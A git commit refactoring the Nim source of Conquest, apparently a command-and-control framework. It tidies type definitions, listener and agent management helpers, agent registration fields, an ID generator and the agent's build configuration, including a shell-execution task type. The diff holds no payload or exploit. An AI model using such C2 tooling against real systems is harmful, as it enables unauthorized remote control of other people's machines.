Cleanup types.nim to only contain type definitions.

This commit is contained in:
Jakob Friedl
2025-07-16 14:45:45 +02:00
parent 292b947a4e
commit 99b017f57f
15 changed files with 143 additions and 133 deletions

View File

@@ -1,8 +1,8 @@
# Agent configuration
-d:ListenerUuid="JEBFQPEP"
-d:ListenerUuid="CFD80565"
-d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=5555
-d:SleepDelay=5
-d:ListenerPort=9999
-d:SleepDelay=10

View File

@@ -1,4 +1,4 @@
import winim, tables
import winim
import ../../types
export Task, CommandType, TaskResult, TaskStatus
@@ -9,20 +9,19 @@ type
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
dwOSVersionInfoSize*: ULONG
dwMajorVersion*: ULONG
dwMinorVersion*: ULONG
dwBuildNumber*: ULONG
dwPlatformId*: ULONG
szCSDVersion*: array[128, WCHAR]
wServicePackMajor*: USHORT
wServicePackMinor*: USHORT
wSuiteMask*: USHORT
wProductType*: UCHAR
wReserved*: UCHAR
dwOSVersionInfoSize*: ULONG
dwMajorVersion*: ULONG
dwMinorVersion*: ULONG
dwBuildNumber*: ULONG
dwPlatformId*: ULONG
szCSDVersion*: array[128, WCHAR]
wServicePackMajor*: USHORT
wServicePackMinor*: USHORT
wSuiteMask*: USHORT
wProductType*: UCHAR
wReserved*: UCHAR
type
AgentConfig* = ref object

View File

@@ -1,9 +1,13 @@
import terminal, strformat, strutils, sequtils, tables, json, times, base64, system
import ../globals
import ../[utils, globals]
import ../db/database
import ../../types
# Utility functions
proc add*(cq: Conquest, agent: Agent) =
cq.agents[agent.name] = agent
#[
Agent API
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results

View File

@@ -1,7 +1,8 @@
import prologue, nanoid, json
import prologue, json
import sequtils, strutils, times
import ./handlers
import ../utils
import ../../types
proc error404*(ctx: Context) {.async.} =
@@ -38,12 +39,28 @@ proc register*(ctx: Context) {.async.} =
let
postData: JsonNode = parseJson(ctx.request.body)
agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
agentUuid: string = generate(alphabet=join(toSeq('A'..'Z'), ""), size=8)
agentUuid: string = generateUUID()
listenerUuid: string = ctx.getPathParams("listener")
date: DateTime = now()
let agent: Agent = newAgent(agentUuid, listenerUuid, date, agentRegistrationData)
let agent: Agent = Agent(
name: agentUuid,
listener: listenerUuid,
username: agentRegistrationData.username,
hostname: agentRegistrationData.hostname,
domain: agentRegistrationData.domain,
process: agentRegistrationData.process,
pid: agentRegistrationData.pid,
ip: agentRegistrationData.ip,
os: agentRegistrationData.os,
elevated: agentRegistrationData.elevated,
sleep: agentRegistrationData.sleep,
jitter: 0.2,
tasks: @[],
firstCheckin: date,
latestCheckin: date
)
# Fully register agent and add it to database
if not agent.register():
# Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed

View File

@@ -5,10 +5,23 @@ import ../task/handler
import ../db/database
import ../../types
#[
Agent management mode
These console commands allow dealing with agents from the Conquest framework's prompt interface
]#
# Utility functions
proc addMultiple*(cq: Conquest, agents: seq[Agent]) =
for a in agents:
cq.agents[a.name] = a
proc delAgent*(cq: Conquest, agentName: string) =
cq.agents.del(agentName)
proc getAgentsAsSeq*(cq: Conquest): seq[Agent] =
var agents: seq[Agent] = @[]
for agent in cq.agents.values:
agents.add(agent)
return agents
#[
Agent management
]#
proc agentUsage*(cq: Conquest) =
cq.writeLine("""Manage, build and interact with agents.

View File

@@ -1,4 +1,4 @@
import strformat, strutils, sequtils, nanoid, terminal
import strformat, strutils, sequtils, terminal
import prologue
import ../utils
@@ -6,6 +6,25 @@ import ../api/routes
import ../db/database
import ../../types
# Utility functions
proc delListener(cq: Conquest, listenerName: string) =
cq.listeners.del(listenerName)
proc add(cq: Conquest, listener: Listener) =
cq.listeners[listener.name] = listener
proc newListener*(name: string, address: string, port: int): Listener =
var listener = new Listener
listener.name = name
listener.address = address
listener.port = port
listener.protocol = HTTP
return listener
#[
Listener management
]#
proc listenerUsage*(cq: Conquest) =
cq.writeLine("""Manage, start and stop listeners.
@@ -36,7 +55,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
# Create new listener
let
name: string = generate(alphabet=join(toSeq('A'..'Z'), ""), size=8)
name: string = generateUUID()
listenerSettings = newSettings(
appName = name,
debug = false,

View File

@@ -2,8 +2,8 @@ import prompt, terminal, argparse
import strutils, strformat, times, system, tables
import ./[agent, listener]
import ../[globals, utils]
import ../db/database
import ../globals
import ../../types
#[
@@ -127,6 +127,17 @@ proc header(cq: Conquest) =
cq.writeLine("".repeat(21))
cq.writeLine("")
proc initConquest*(dbPath: string): Conquest =
var cq = new Conquest
var prompt = Prompt.init()
cq.prompt = prompt
cq.dbPath = dbPath
cq.listeners = initTable[string, Listener]()
cq.agents = initTable[string, Agent]()
cq.interactAgent = nil
return cq
proc startServer*() =
# Handle CTRL+C,
proc exit() {.noconv.} =

View File

@@ -1,6 +1,7 @@
import system, terminal, tiny_sqlite
import ./[dbAgent, dbListener]
import ../utils
import ../../types
# Export functions so that only ./db/database is required to be imported

View File

@@ -1,4 +1,6 @@
import system, terminal, tiny_sqlite, times
import ../utils
import ../../types
#[

View File

@@ -1,6 +1,15 @@
import system, terminal, tiny_sqlite
import ../utils
import ../../types
# Utility functions
proc stringToProtocol*(protocol: string): Protocol =
case protocol
of "http":
return HTTP
else: discard
#[
Listener database functions
]#

View File

@@ -1,5 +1,7 @@
import random
import core/server
# Conquest framework entry point
when isMainModule:
randomize()
startServer()

View File

@@ -1,11 +1,12 @@
import argparse, times, strformat, terminal, nanoid, sequtils
import argparse, times, strformat, terminal, sequtils
import ../../types
import ../utils
proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) =
let
date = now().format("dd-MM-yyyy HH:mm:ss")
task = Task(
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
id: generateUUID(),
agent: cq.interactAgent.name,
command: command,
args: args,

View File

@@ -1,5 +1,6 @@
import times, strformat, terminal, tables, json, sequtils, strutils
import ./[parser, packer, dispatcher]
import ../utils
import ../../types
proc initAgentCommands*(): Table[CommandType, Command] =

View File

@@ -1,8 +1,9 @@
import strutils, terminal, tables, sequtils, times, strformat
import strutils, terminal, tables, sequtils, times, strformat, random, prompt
import std/wordwrap
import ../types
# Utility functions
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
# TODO: Verify that address is in correct, expected format
let octets = ip.split('.')
@@ -15,8 +16,33 @@ proc validatePort*(portStr: string): bool =
except ValueError:
return false
# Table border characters
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
# Function templates and overwrites
template writeLine*(cq: Conquest, args: varargs[untyped]) =
cq.prompt.writeLine(args)
proc readLine*(cq: Conquest): string =
return cq.prompt.readLine()
template setIndicator*(cq: Conquest, indicator: string) =
cq.prompt.setIndicator(indicator)
template showPrompt*(cq: Conquest) =
cq.prompt.showPrompt()
template hidePrompt*(cq: Conquest) =
cq.prompt.hidePrompt()
template setStatusBar*(cq: Conquest, statusBar: seq[StatusBarItem]) =
cq.prompt.setStatusBar(statusBar)
template clear*(cq: Conquest) =
cq.prompt.clear()
# Overwrite withOutput function to handle function arguments
proc withOutput*(cq: Conquest, outputFunction: proc(cq: Conquest, args: string), args: string) =
cq.hidePrompt()
outputFunction(cq, args)
cq.showPrompt()
# Table border characters
type
Cell = object
text: string

View File

@@ -1,11 +1,8 @@
import prompt
import prologue
import tables
import times
#[
Agent types & procs
]#
# Task structure
type
CommandType* = enum
ExecuteShell = "shell"
@@ -62,6 +59,8 @@ type
args*: string # Json string containing all the positional arguments
# Example: """{"command": "whoami", "arguments": "/all"}"""
# Agent structure
type
AgentRegistrationData* = object
username*: string
hostname*: string
@@ -90,30 +89,7 @@ type
firstCheckin*: DateTime
latestCheckin*: DateTime
# TODO: Take sleep value from agent registration data (set via nim.cfg file)
proc newAgent*(name, listener: string, firstCheckin: DateTime, postData: AgentRegistrationData): Agent =
var agent = new Agent
agent.name = name
agent.listener = listener
agent.username = postData.username
agent.hostname = postData.hostname
agent.domain = postData.domain
agent.process = postData.process
agent.pid = postData.pid
agent.ip = postData.ip
agent.os = postData.os
agent.elevated = postData.elevated
agent.sleep = postData.sleep
agent.jitter = 0.2
agent.tasks = @[]
agent.firstCheckin = firstCheckin
agent.latestCheckin = firstCheckin
return agent
#[
Listener types and procs
]#
# Listener structure
type
Protocol* = enum
HTTP = "http"
@@ -124,82 +100,11 @@ type
port*: int
protocol*: Protocol
proc newListener*(name: string, address: string, port: int): Listener =
var listener = new Listener
listener.name = name
listener.address = address
listener.port = port
listener.protocol = HTTP
return listener
proc stringToProtocol*(protocol: string): Protocol =
case protocol
of "http":
return HTTP
else: discard
#[
Conquest framework types & procs
]#
# Server structure
type
Conquest* = ref object
prompt*: Prompt
dbPath*: string
listeners*: Table[string, Listener]
agents*: Table[string, Agent]
interactAgent*: Agent
proc add*(cq: Conquest, listener: Listener) =
cq.listeners[listener.name] = listener
proc add*(cq: Conquest, agent: Agent) =
cq.agents[agent.name] = agent
proc addMultiple*(cq: Conquest, agents: seq[Agent]) =
for a in agents:
cq.agents[a.name] = a
proc delListener*(cq: Conquest, listenerName: string) =
cq.listeners.del(listenerName)
proc delAgent*(cq: Conquest, agentName: string) =
cq.agents.del(agentName)
proc getAgentsAsSeq*(cq: Conquest): seq[Agent] =
var agents: seq[Agent] = @[]
for agent in cq.agents.values:
agents.add(agent)
return agents
proc initConquest*(dbPath: string): Conquest =
var cq = new Conquest
var prompt = Prompt.init()
cq.prompt = prompt
cq.dbPath = dbPath
cq.listeners = initTable[string, Listener]()
cq.agents = initTable[string, Agent]()
cq.interactAgent = nil
return cq
template writeLine*(cq: Conquest, args: varargs[untyped]) =
cq.prompt.writeLine(args)
proc readLine*(cq: Conquest): string =
return cq.prompt.readLine()
template setIndicator*(cq: Conquest, indicator: string) =
cq.prompt.setIndicator(indicator)
template showPrompt*(cq: Conquest) =
cq.prompt.showPrompt()
template hidePrompt*(cq: Conquest) =
cq.prompt.hidePrompt()
template setStatusBar*(cq: Conquest, statusBar: seq[StatusBarItem]) =
cq.prompt.setStatusBar(statusBar)
template clear*(cq: Conquest) =
cq.prompt.clear()
# Overwrite withOutput function to handle function arguments
proc withOutput*(cq: Conquest, outputFunction: proc(cq: Conquest, args: string), args: string) =
cq.hidePrompt()
outputFunction(cq, args)
cq.showPrompt()
interactAgent*: Agent